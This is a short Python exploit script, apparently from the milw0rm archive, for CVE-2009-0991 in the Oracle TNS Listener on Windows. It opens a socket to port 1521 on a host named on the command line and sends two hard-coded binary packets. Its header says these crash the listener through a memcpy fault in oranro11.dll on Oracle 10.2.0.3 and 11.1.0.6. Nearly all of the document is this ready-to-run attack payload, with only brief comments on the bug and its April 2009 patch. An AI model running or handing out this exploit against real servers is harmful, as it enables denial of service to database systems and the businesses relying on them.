# TNS Listener (Oracle RDBMS) exploit, cause trap in Listener process 
# (more precisely: in function memcpy() called from ncrfintn() function which is located in oranro11.dll)

# Successfully working with Oracle RDBMS Win32 11.1.0.6.0 and Oracle RDBMS Win32 10.2.0.3 with latest CPU patches applied

# Vulnerability discovered by Dennis Yurichev <dennis@conus.info>

# Fixed in CPUapr2009, CVE-2009-0991
# http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2009.html

from sys import *
from socket import *

sockobj = socket(AF_INET, SOCK_STREAM)

sockobj.connect ((argv[1], 1521))

sockobj.send(
	"\x00\x68\x00\x00\x01\x00\x00\x00\x01\x3A\x01\x2C\x00\x00\x20\x00"
	"\x7F\xFF\xC6\x0E\x00\x00\x01\x00\x00\x2E\x00\x3A\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x28\x43\x4F\x4E\x4E\x45"
	"\x43\x54\x5F\x44\x41\x54\x41\x3D\x28\x43\x4F\x4D\x4D\x41\x4E\x44"
	"\x3D\x73\x65\x72\x76\x69\x63\x65\x5F\x72\x65\x67\x69\x73\x74\x65"
	"\x72\x5F\x4E\x53\x47\x52\x29\x29")

data=sockobj.recv(102400)

sockobj.send(
	"\x02\xde\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x02\xd4\x20\x08"
	"\xff\x03\x01\x00\x12\x34\x34\x34\x34\x34\x78\x10\x10\x32\x10\x32"
	"\x10\x32\x10\x32\x10\x32\x54\x76\x00\x78\x10\x32\x54\x76\x44\x00"
	"\x00\x80\x02\x00\x00\x00\x00\x04\x00\x00\x70\xe4\xa5\x09\x90\x00"
	"\x23\x00\x00\x00\x42\x45\x43\x37\x36\x43\x32\x43\x43\x31\x33\x36"
	"\x2d\x35\x46\x39\x46\x2d\x45\x30\x33\x34\x2d\x30\x30\x30\x33\x42"
	"\x41\x31\x33\x37\x34\x42\x33\x03\x00\x65\x00\x01\x00\x01\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x64\x02\x00\x80\x05\x00\x00\x00\x00\x04"
	"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00\x02\x00"
	"\x00\x00\x84\xc3\xcc\x07\x01\x00\x00\x00\x84\x2f\xa6\x09\x00\x00"
	"\x00\x00\x44\xa5\xa2\x09\x25\x98\x18\xe9\x28\x50\x4f\x28\xbb\xac"
	"\x15\x56\x8e\x68\x1d\x6d\x05\x00\x00\x00\xfc\xa9\x36\x22\x0f\x00"
	"\x00\x00\x60\x30\xa6\x09\x0a\x00\x00\x00\x64\x00\x00\x00\x00\x00"
	"\x00\x00\xaa\x00\x00\x00\x00\x01\x00\x00\x17\x00\x00\x00\x78\xc3"
	"\xcc\x07\x6f\x72\x63\x6c\x00\x28\x48\x4f\x53\x54\x3d\x77\x69\x6e"
	"\x32\x30\x30\x33\x29\x00\x01\x00\x00\x00\x09\x00\x00\x00\x01\x00"
	"\x00\x00\x50\xc5\x2f\x22\x02\x00\x00\x00\x34\xc5\x2f\x22\x00\x00"
	"\x00\x00\x9c\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00\x09"
	"\x00\x00\x00\x50\xc5\x2f\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x00\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f"
	"\x58\x50\x54\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00"
	"\x84\xc5\x2f\x22\x02\x00\x00\x00\x68\xc5\x2f\x22\x00\x00\x00\x00"
	"\xa4\xa5\xa2\x09\x6f\x72\x63\x6c\x00\x05\x00\x00\x00\x84\xc5\x2f"
	"\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x01\x00\x00\x00\x10\x00"
	"\x00\x00\x02\x00\x00\x00\xbc\xc3\xcc\x07\x00\x00\x00\x00\xb0\x2f"
	"\xa6\x09\x00\x00\x00\x00\x00\x00\x00\x00\x89\xc0\xb1\xc3\x08\x1d"
	"\x46\x6d\xb6\xcf\xd1\xdd\x2c\xa7\x66\x6d\x0a\x00\x00\x00\x78\x2b"
	"\xbc\x04\x7f\x00\x00\x00\x64\xa7\xa2\x09\x0d\x00\x00\x00\x20\x2c"
	"\xbc\x04\x11\x00\x00\x00\x95\x00\x00\x00\x02\x20\x00\x80\x03\x00"
	"\x00\x00\x98\xc5\x2f\x22\x00\x00\x00\x00\x00\x00\x00\x00\x0a\x00"
	"\x00\x00\xb0\xc3\xcc\x07\x44\x45\x44\x49\x43\x41\x54\x45\x44\x00"
	"\x28\x41\x44\x44\x52\x45\x53\x53\x3d\x28\x50\x52\x4f\x54\x4f\x43"
	"\x4f\x4c\x3d\x42\x45\x51\x29\x28\x50\x52\x4f\x47\x52\x41\x4d\x3d"
	"\x43\x3a\x5c\x61\x70\x70\x5c\x41\x64\x6d\x69\x6e\x69\x73\x74\x72"
	"\x61\x74\x6f\x72\x5c\x70\x72\x6f\x64\x75\x63\x74\x5c\x31\x31\x2e"
	"\x31\x2e\x30\x5c\x64\x62\x5f\x31\x5c\x62\x69\x6e\x5c\x6f\x72\x61"
	"\x63\x6c\x65\x2e\x65\x78\x65\x29\x28\x41\x52\x47\x56\x30\x3d\x6f"
	"\x72\x61\x63\x6c\x65\x6f\x72\x63\x6c\x29\x28\x41\x52\x47\x53\x3d"
	"\x27\x28\x4c\x4f\x43\x41\x4c\x3d\x4e\x4f\x29\x27\x29\x29\x00\x4c"
	"\x4f\x43\x41\x4c\x20\x53\x45\x52\x56\x45\x52\x00\x68\xc5\x2f\x22"
	"\x34\xc5\x2f\x22\x00\x00\x00\x00\x05\x00\x00\x00\x84\xc5\x2f\x22"
	"\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\xfc\xc4\xcc\x07\x6f\x72\x63\x6c\x00\x09\x00\x00\x00\x50\xc5\x2f"
	"\x22\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x34\xc5\xcc\x07\x6f\x72\x63\x6c\x5f\x58\x50\x54\x00"
)

sockobj.close()

# milw0rm.com [2009-04-21]
